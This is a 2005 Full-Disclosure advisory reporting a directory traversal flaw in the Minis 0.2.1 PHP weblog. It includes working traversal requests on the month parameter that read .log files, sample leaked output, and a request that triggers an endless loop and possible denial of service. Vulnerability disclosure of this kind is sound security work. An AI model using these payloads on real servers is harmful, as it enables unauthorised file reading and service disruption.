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Minis directory traversal vulnerability
From: Madelman <madelman () iname com>
Date: Sun, 16 Jan 2005 19:04:16 +0100
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Title: Minis directory traversal vulnerability Vulnerability discovery: Madelman <madelman AT iname.com> Date: 31/12/2004 Severity: Moderate Summary: - -------- (from vendor site: http://minis.sourceforge.net/) Minis is a tiny, PHP-powered, text-file based weblogging system. It is easily configured for normal use and it doesnt require any databases, such as MySQL. Also, with some PHP-knowledge youll be able to configure Minis endlessly. Minis doesn't check the month parameter which allows reading any file with .log extension This vulnerability has been tested with Minis 0.2.1 Details: - -------- If we want to read /var/log/XFree86.0.log: REQUEST: http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/XFree86.0 RETURNS: (looking at source of HTML) [...] "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=This is a pre-release version of XFree86, and is not supported in any "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=way. Bugs may be reported to XFree86 () XFree86 Org and patches submitted "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=to fixes () XFree86 Org. Before reporting bugs in pre-release versions, "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=please check the latest version in the XFree86 CVS repository "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=(http://www.XFree86.Org/cvs). "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry= "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=XFree86 Version 4.3.0.1 (Debian 4.3.0.dfsg.1-4 20040529113443 root () cyberhq internal cyberhqz com) "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Release Date: 15 August 2003 "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=X Protocol Version 11, Revision 0, Release 6.6 "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Build Operating System: Linux 2.6.6-rc3-bk9 i686 [ELF] "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Build Date: 29 May 2004 [...] If we try to read a file that doesn't exist (in this example /var/log/XFree86.log) Minis returns "No such month" REQUEST: http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/XFree86 RESPONSE: No such month. If we try to read a file the webserver doesn't have autorization to, Minis enters an endless loop which could cause an incredible amount of bandwith spent by the server or even a DoS REQUEST: http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/auth RETURNS: Warning: fopen(blog/../../../../../../../../var/log/auth.log): failed to open stream: Permission denied in /var/www/minis/minis.php on line 109 ../../../../../../../../var/log/auth Warning: feof(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 111 Warning: fgets(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 112 Warning: feof(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 111 Warning: fgets(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 112 [...] Timeline - -------- 31/12/2004 - Vulnerability found 31/12/2004 - Vendor contacted 16/01/2005 - Vendor hasn't replied. Advisory released -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFB6qyg3RWooxY20cIRAg4cAJ41z36lEK44et5nx4V6tspofoo+zACgnLr6 nUEj8oDBySiBN2ScbMinO7s= =sSF1 -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
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- Minis directory traversal vulnerability Madelman (Jan 16)